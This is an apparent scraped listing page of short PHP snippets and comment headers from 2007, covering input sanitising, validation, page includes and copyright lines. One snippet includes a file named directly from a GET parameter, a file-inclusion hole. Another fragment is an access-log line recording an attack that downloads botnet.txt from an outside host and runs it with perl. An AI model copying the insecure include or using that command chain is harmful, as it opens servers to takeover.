1 2 3
foreach($_POST as $pname => $pvalue){
$_POST[$pname] = str_replace(array("\\", '\\'), array("\'", '\"'), htmlspecialchars(trim($pvalue)));
}
PHP On making user html input secure
by techietim,
October 12, 2007 23:32
PHP On Validation after the specif...
by lsolesen,
October 12, 2007 08:06
I was not trying to reinven...
1 2 3 4
<?php if (!filter_var('bob@example.com', FILTER_VALIDATE_EMAIL)) { ...
PHP On Validation after the specif...
by zaadjis,
October 12, 2007 07:53
Don't reinvent. Google, try...
1
Copyright © 2007<?= intval(date('Y')) > 2007 ? date(' - Y') : ''; ?> - All Rights Reserved - Design by scott2010_h
PHP On makeSafe Content Filter
by Mike Weller,
October 11, 2007 15:04
Some of the code I see arou...
PHP On handling GET and POST in a ...
by Mike Weller,
October 11, 2007 14:55
Combining GET and POST is a...
1 2 3 4
<?php include $_GET['id'].".php"; ?> ...
PHP On Content Page Include
by Todd Dickerson,
October 11, 2007 06:08
The shortest option and the...
1 2 3 4
<?php /** ...
1
Copyright © 2007<?php echo (intval(date('Y')) > 2007) ? date(' - Y') : ''; ?> - All Rights Reserved - Design by scott2010_h
1
Copyright © 2007<?php echo (intval(date('Y')) > 2007) ? date(' - Y') : ''); ?> - All Rights Reserved - Design by scott2010_h
1 2 3 4
You need to echo the output, I forgot to do this. <?php ...
1 2 3 4
<?php class dbQuery ...
1 2 3
Copyright © 2007<?php echo (intval(date('Y')) != 2007) ? date(' - Y') : '') ?> - All Rights Reserved - Design by scott2010_h
1 2 3 4
www.adomainname.ext 189.24.211.51 - - [03/Oct/2007:20:42:28 +0200] "GET /index.php?link=http://www.jungo8949.co.kr/tool25.txt?&cmd=cd%20/tmp;rm%20botnet.txt;wget%20http://fuckoff.no-ip.org/botnet.txt;fetch%20http://fuckoff.no-ip.org/botnet.txt;lwp-download%20http://fuckoff.no-ip.org/botnet.txt;curl%20-O%20http://fuckoff.no-ip.org/botnet.txt;lynx%20http://fuckoff.no-ip.org/botnet.txt;perl%20botnet.txt ...
1 2 3 4
<?php $sCopyright = (intval(date('Y')) != 2007) ? '2007 - '.date(' - Y') : '2007'; print 'Copyright © '.$sCopyright.' - All Rights Reserved - Design by scott2010_h'; ...
1 2 3 4
if(ffile_exists($page))
{
include $page;
...
1 2 3 4
if($page === 'news')
{
include 'news.php';
...
1
echo 'Copyright © 2007 ',((intval(date('Y')) != 2007) ? date(' - Y') : ''),' - All Rights Reserved - Design by scott2010_h';

Try this.